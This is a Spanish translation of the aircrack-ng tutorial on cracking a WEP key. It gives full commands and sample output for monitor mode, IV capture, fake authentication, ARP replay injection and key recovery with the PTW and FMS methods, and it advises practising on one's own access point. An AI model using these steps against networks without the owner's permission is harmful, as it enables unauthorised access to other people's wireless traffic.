Tabla de Contenidos
Tutorial: Simple crackeo de clave WEP
Version: 1.05 de 12 de Julio de 2007
By: darkAudax
Traducción: 16 de Julio de 2007 by Spanish
Introducción
Este tutorial muestra la forma más simple de crackear una clave WEP. Se intentará que te familiarices con los conceptos básicos. Y partimos del supuesto de que tienes una tarjeta wireless con los drivers parcheados para poder inyectar.
Para iniciarte y conocer la suite aircrack-ng mira la Guía de Aircrack-ng en Linux para novatos. Aunque este tutorial no cubre todos los pasos, se intentan proporcionar ejemplos detallados para crackear una clave WEP y expplicar cada una de las etapas. Para más información sobre la instalación de aircrck-ng, mira Installing Aircrack-ng y para la instalación de los drivers mira Installing Drivers.
Es recomendable que cada uno experimente con su propio punto de acceso wireless, para familiarizarse con estas ideas y técnicas. Si no tienes un punto de acceso propio, recuerda que tienes que pedir permiso al propietario del router con el que quieras practicar.
Por favor, enviame cualquier sugerencia, positiva o negativa. Bien sean problemas o buenas ideas serán bienvenidas.
Puntos de partida
Suponemos que:
- Estás usando drivers parcheados para inyección. Usa el injection test para comprobar que tu tarjeta puede puede inyectar.
- Estás físicamente suficiéntemente cerca para enviar y recibir paquetes del punto de acceso. Recuerda que recibir paquetes del punto de acceso no significa que los paquetes que transmitas sean recibidos por el AP. La fuerza de la señal de las tarjetas wireless generalmente es menor que la fuerza de la señal de los AP. Por lo tanto, es necesario estar cerca del AP, para que los paquetes que transmitimos sean recibidos por el AP. Deberías comprobar que puedes establecer una correcta comunicación con el AP siguiendo these instructions.
- Usamos la versión 0.9 de aircrack-ng. Si usas otra versión algunos comandos puede que se tengan que escribir de forma diferente.
Asegúrate de que cumples todas las condiciones, sino no funcionará. En los siguientes ejemplos, tendrás que cambiar “ath0” por el nombre de la interface de tu tarjeta wireless.
En los ejemplos, la opción “doble guión bssid” se muestra como “- -bssid”. Recuerda borrar el espacio entre los dos guiones cuando lo uses en la vida real. Esto tambien se aplica a “- -ivs”.
Equipo usado
En este tutorial:
- Dirección MAC del PC ejecutando la suite aircrack-ng: 00:0F:B5:88:AC:82
- BSSID (dirección MAC del punto de acceso): 00:14:6C:7E:40:80
- ESSID (nombre de la red Wireless): teddy
- Canal del AP: 9
- Interface Wireless: ath0
Tienes que obtener la información equivalente de la red sobre la que quieres trabajar. Y cambiar estos valores en los siguientes ejemplos.
Solución
Contenidos
Para obtener la clave WEP de un punto de acceso, necesitamos muchos vectores de inicialización (IVs). El tráfico de red habitual no genera de forma rápida suficientes IVs. Teoricamente, si tenemos paciencia, podemos conseguir suficientes IVs para crackear la clave WEP únicamente capturando el tráfico de la red. Pero como la mayoría de nosotros no tenemos paciencia, usamos una técnica de inyección para aumentar la velocidad del proceso de captura. La inyección implica que se envien al punto de acceso (AP) paquetes de forma continua y muy rápido. Esto permite capturar un gran número de IVs en un periodo corto de tiempo.
Una vez que se han capturado un gran número de IVs, podemos utilizarlos para averiguar la clave WEP.
Aquí estań los pasos que vamos a seguir:
- Colocar la tarjeta wireless en modo monitor y fijar el canal del AP
- Usar aireplay-ng para hacer una falsa autenticación con el punto de acceso
- Iniciar airodump-ng en el canal del AP con filtro de bssid para capturar IVs
- Iniciar aireplay-ng para inyectar paquetes de peticiones ARP
- Ejecutar aircrack-ng para obtener la clave WEP
Paso 1 - Colocar la tarjeta wireless en modo monitor y fijar el canal del AP
La finalidad de este paso es poner la tarjeta en el modo que se denomina “modo monitor”. En este modo la tarjeta puede escuchar y capturar cualquier paquete wireless que se encuentre en el aire. Normalmente la tarjeta solo “escuchará” y capturará los paquetes que tu le indiques. Capturando algunos paquetes, despues podremos seleccionar alguno de ellos para inyectarlo. El modo monitor tambien permite inyectar paquetes (aunque hay algunas excepciones con algunas tarjetas).
Primero “bajar” la interface ath0 escribiendo:
airmon-ng stop ath0
El sistema nos responderá:
Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
Escribe “iwconfig” para cerciorarte de que no hay otras interfaces athX. Debes de ver algo como esto:
lo no wireless extensions. eth0 no wireless extensions. wifi0 no wireless extensions.
Si hay alguna otra interface athX, debes pararla. Cuando termines, ejecuta “iwconfig” para asegurarte de que ya no queda ninguna.
Ahora, escribe el siguiente comando para poner la tarjeta wireless en modo monitor en el canal 9:
airmon-ng start wifi0 9
Nota: En este comando usamos “wifi0” en lugar de nuestra interface “ath0”. Esto se debe a que estamos usando los drivers madwifi-ng y no madwifi-old.
El sistema nos responderá:
Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
Puedes observar que “ath0” aparece colocada en modo monitor.
Para confirmar que la interface está bien configurada, escribimos “iwconfig“.
El sistema nos responderá:
lo no wireless extensions. wifi0 no wireless extensions. eth0 no wireless extensions. ath0 IEEE 802.11g ESSID:"" Nickname:"" Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82 Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3 Retry:off RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0
Podemos ver que ath0 está en modo monitor, en la frecuencia 2.452GHz que corresponde al canal 9 y en “Access Point” vemos la dirección MAC de nuestra tarjeta wireless. Ten en cuenta que solo los drivers madwifi-ng muestran la dirección MAC de tu tarjeta wireless, y otros drivers no. Por lo tanto todo está bien. Es importante comprobar toda esta información antes de continuar, ya que sino los siguientes pasos no funcionarán.
Para ver la correspondencia entre frecuencia y canal, mira: http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . Así sabrás la frecuencia para cada canal.
Paso 2 - Iniciar airodump-ng para capturar los IVs
La finalidad de este paso es capturar IVs. Este paso iniciará airodump-ng para capturar los IVs del AP que le especifiquemos.
Abre otra consola y escribe:
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0
Donde:
- -c 9 es el número de canal de la red wireless
- - -bssid 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso. Esto elimina otro tráfico no relevante.
- -w output es el nombre del archivo en el que se guardarán los IVs.
- ath0 es el nombre de nuestra interface.
En el momento que se esté llevando a cabo la inyección (más adelante), la pantalla se verá de forma parecida a esta:
CH 9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:14:6C:7E:40:80 42 100 5240 178307 338 9 54 WEP WEP teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7E:40:80 00:0F:B5:88:AC:82 42 0 183782
Paso 3 - Usar aireplay-ng para hacer una falsa autenticación con el punto de acceso
Para que un punto de acceso acepte cualquier paquete, la dirección MAC de origen del mismo debe estar previamente asociada con el AP. Si la dirección MAC desde la que estás inyectando no se encuentra asociada, el AP ignorará los paquetes y enviará paquetes de “DeAuthentication”. En esta situación, no se crearán nuevos IVs porque el AP está ignorando todos los paquetes inyectados.
La falta de asociación con el punto de acceso es la razón más habitual por la cual falla la inyección. Recuerda la regla de oro: La dirección MAC que uses para la inyección debe estar asociada con el AP usando una falsa autenticación o usando una MAC de un cliente ya asociado.
Para asociarse con un punto de acceso, usa la falsa autenticación:
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
Donde:
- -1 significa falsa autenticación (fake authentication)
- 0 tiempo de reasociación en segundos
- -e teddy es el nombre de la red wireless
- -a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
- -h 00:0F:B5:88:AC:82 es la dirección MAC de nuestra tarjeta wireless
- ath0 es el nombre de nuestra interface
Si tenemos éxito aparecerá algo como esto:
18:18:20 Sending Authentication Request 18:18:20 Authentication successful 18:18:20 Sending Association Request 18:18:20 Association successful :-)
Otra variación que puede funcionar en algunos puntos de acceso:
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
Donde:
- 6000 - Reautenticación cada 6000 segundos. En este periodo de tiempo se siguen enviando paquetes de sigo aquí o “keep alive packets”.
- -o 1 - Envia solo un tipo de paquetes de cada vez. El valor por defecto es “múltiple” y esto puede confundir a algunos APs.
- -q 10 - Se envian paquetes de “sigo aquí” cada 10 segundos.
Si tenemos éxito aparecerá algo como esto:
18:22:32 Sending Authentication Request 18:22:32 Authentication successful 18:22:32 Sending Association Request 18:22:32 Association successful :-) 18:22:42 Sending keep-alive packet 18:22:52 Sending keep-alive packet # and so on.
Ahora ponemos un ejemplo de un fallo de autenticación:
8:28:02 Sending Authentication Request 18:28:02 Authentication successful 18:28:02 Sending Association Request 18:28:02 Association successful :-) 18:28:02 Got a deauthentication packet! 18:28:05 Sending Authentication Request 18:28:05 Authentication successful 18:28:05 Sending Association Request 18:28:10 Sending Authentication Request 18:28:10 Authentication successful 18:28:10 Sending Association Request
Presta atención a “Got a deauthentication packet” y los continuos intentos de asociación. No se puede pasar al siguiente paso hasta que funcione la falsa autenticación de forma correcta.
Problemas y Trucos
- Algunos puntos de acceso están configurados para permitir únicamente una dirección MAC para asociarse y conectarse. Si este es tu caso, no serás capaz de realizar la falsa autenticación de forma éxitosa, salvo que conozcas una de las direcciones MAC que están permitidas para poder conectarse a ese AP. Si sospechas que este puede ser el problema, usa el siguiente comando mientras intentas hacer la falsa autenticación. Abre otra consola y…
escribe: tcpdump -n -vvv -s0 -e -i <nombre de interface> | grep -E ”(RA:<dirección MAC de tu tarjeta>|Authentication|ssoc)“
Ahora deberás buscar mensajes de error.
- Si deseas confirmar que estás asociado de forma correcta puedes usar tcpdump y mirar los paquetes. Inicia una consola y…
Escribe: “tcpdump -n -e -s0 -vvv -i ath0”
A continuación puedes ver un mensaje de error de tcpdump como el que estamos buscando:
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station
Presta atención que el punto de acceso (00:14:6c:7e:40:80) le está diciendo a la tarjeta (00:0F:B5:88:AC:82) que no está asociada. Lo que significa que el AP no aceptará los paquetes que inyectemos.
Si solo quieres seleccionar los paquetes de deautenticación con tcpdump usa: “tcpdump -n -e -s0 -vvv -i ath0 | grep DeAuth”. Puedes cambiar la palabra “DeAuth” para escoger otros paquetes que quieras buscar.
Paso 4 - Iniciar aireplay-ng para inyectar paquetes de peticiones ARP
El objetivo de este paso es utilizar aireplay-ng para capturar peticiones ARP e inyectarlas a la red. Para una explicación más amplia acerca de ARP, mira PC Magazine page o Wikipedia. La razón por la que se escogen los paquetes de peticiones ARP o “ARP request” es porque el AP reenvia estos paquetes y se generan nuevos IVs. De esta forma conseguiremos un gran número de IVs en un periodo corto de tiempo.
Abre otra consola y escribe:
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
Empezará a escuchar las posibles peticiones ARP y cuando capture una, aireplay-ng inmediatamente la inyectará. En tu propia red, una forma fácil de generar una peticion ARP es: En una red cableada, haz ping a una IP que no exista en tu red.
A continuación puedes ver una pantalla de cuando se están inyectano las peticiones ARP:
Saving ARP requests in replay_arp-0321-191525.cap You should also start airodump-ng to capture replies. Read 629399 packets (got 316283 ARP requests), sent 210955 packets...
Puedes comprobar que estás inyectando revisando la pantalla de airodump-ng. Los paquetes de datos (data) deberían incrementarse de forma rápida. El número de la columna ”#/s“ debe ser bastante alto. Aunque, este número depende de multitud de factores. Un rango típico es entre 300 y 400 paquetes de datos por segundo. Puede tambien que se situe alrededor de 100/segundo o por encima de 1000/segundo.
Paso 5 - Ejecutar aircrack-ng para obtener la clave WEP
El propósito de este paso es obtener la clave WEP a partir de los IVs guardsdos de los pasos anteriores.
Nota: Para empezar, deberías fijar una clave WEP de 64 bit en tu AP con el fin de acelerar el proceso de crackeo. Si este es el caso, puedes incluir la opción ”-n 64“ que limita las comprobaciones de claves a 64 bits.
Puedes probar 2 métodos. Es recomendable que utilices los dos para aprender. Si pruebas los 2 métodos, verás que con el método PTW se obtiene la clave de forma muy rápda comparado con el método FMS/Korek. Pero hay que resaltar que el método PTW solo funciona bien con paquetes ARP. Como este tutorial solo cubre inyecciónde paquetes ARP, este método te funcionará muy bien. El otro requirimiento es que se tiene que capturar el paquete entero *.cap con airodump-ng. Lo que significa, que no se puede usar la opción ”- -ivs“.
Inicia otra consola y escribe:
aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap
Donde:
- -z utiliza el mátodo “PTW WEP-cracking” que es muy rápido y necesita pocos IVs.
- -b 00:14:6C:7E:40:80 selecciona el punto de acceso en el que estamos interesados. Esto es opcional y ten en cuenta que al principio ya hemos aplicado un filtro para capturar solo datos de este AP.
- output*.cap selecciona todos los archivos que comienzan con “output” y acaban por ”.cap“.
Puedes ejecutar aircrack-ng mientras capturas paquetes. En poco tiempo, verás la clave WEP. Usando el método PTW, una clave WEP de 40-bit puede ser crackeada con poco mas de 20,000 paquetes de datos y para una clave de 104-bit 40,000 paquetes. Esto es aproximado y hay muchas variables que influyen en el número de IVs necesarios para obtener la clave WEP.
Si tenemos éxito aparecerá algo como esto:
Aircrack-ng 0.9 [00:01:18] Tested 0/140000 keys (got 30680 IVs) KB depth byte(vote) 0 0/ 1 12( 170) 35( 152) AA( 146) 17( 145) 86( 143) F0( 143) AE( 142) C5( 142) D4( 142) 50( 140) 1 0/ 1 34( 163) BB( 160) CF( 147) 59( 146) 39( 143) 47( 142) 42( 139) 3D( 137) 7F( 137) 18( 136) 2 0/ 1 56( 162) E9( 147) 1E( 146) 32( 146) 6E( 145) 79( 143) E7( 142) EB( 142) 75( 141) 31( 140) 3 0/ 1 78( 158) 13( 156) 01( 152) 5F( 151) 28( 149) 59( 145) FC( 145) 7E( 143) 76( 142) 92( 142) 4 0/ 1 90( 183) 8B( 156) D7( 148) E0( 146) 18( 145) 33( 145) 96( 144) 2B( 143) 88( 143) 41( 141) KEY FOUND! [ 12:34:56:78:90 ] Decrypted correctly: 100%
Para usar el método FMS/Korek, inicia otra consola y escribe:
aircrack-ng -b 00:14:6C:7E:40:80 output*.cap
Donde:
- -b 00:14:6C:7E:40:80 selecciona el punto de acceso en el que estamos interesados. Esto es opcional y ten en cuenta que al principio ya hemos aplicado un filtro para capturar solo datos de este AP.
- output*.cap selecciona todos los archivos que comienzan con “output” y acaban por ”.cap“.
Puedes ejecutar aircrack-ng mientras capturas paquetes. En poco tiempo, verás la clave WEP. Necesitarás aproximadamente 250,000 IVs para una clave WEP de 64 bit y 1,500,000 IVs para claves de 128 bit. Esto es aproximado y hay muchas variables que influyen en el número de IVs necesarios para obtener la clave WEP.
Si tenemos éxito aparecerá algo como esto:
Aircrack-ng 0.9 [00:03:06] Tested 674449 keys (got 96610 IVs) KB depth byte(vote) 0 0/ 9 12( 15) F9( 15) 47( 12) F7( 12) FE( 12) 1B( 5) 77( 5) A5( 3) F6( 3) 03( 0) 1 0/ 8 34( 61) E8( 27) E0( 24) 06( 18) 3B( 16) 4E( 15) E1( 15) 2D( 13) 89( 12) E4( 12) 2 0/ 2 56( 87) A6( 63) 15( 17) 02( 15) 6B( 15) E0( 15) AB( 13) 0E( 10) 17( 10) 27( 10) 3 1/ 5 78( 43) 1A( 20) 9B( 20) 4B( 17) 4A( 16) 2B( 15) 4D( 15) 58( 15) 6A( 15) 7C( 15) KEY FOUND! [ 12:34:56:78:90 ] Probability: 100%
Date cuenta que en este ejemplo hemos necesitado muchos menos IVs que los estimados 250,000 para obtener la clave.
Problemas generales
- Lee la documentación en español sobre los diversos comandos utilizados en este tutorial, que está en el Wiki.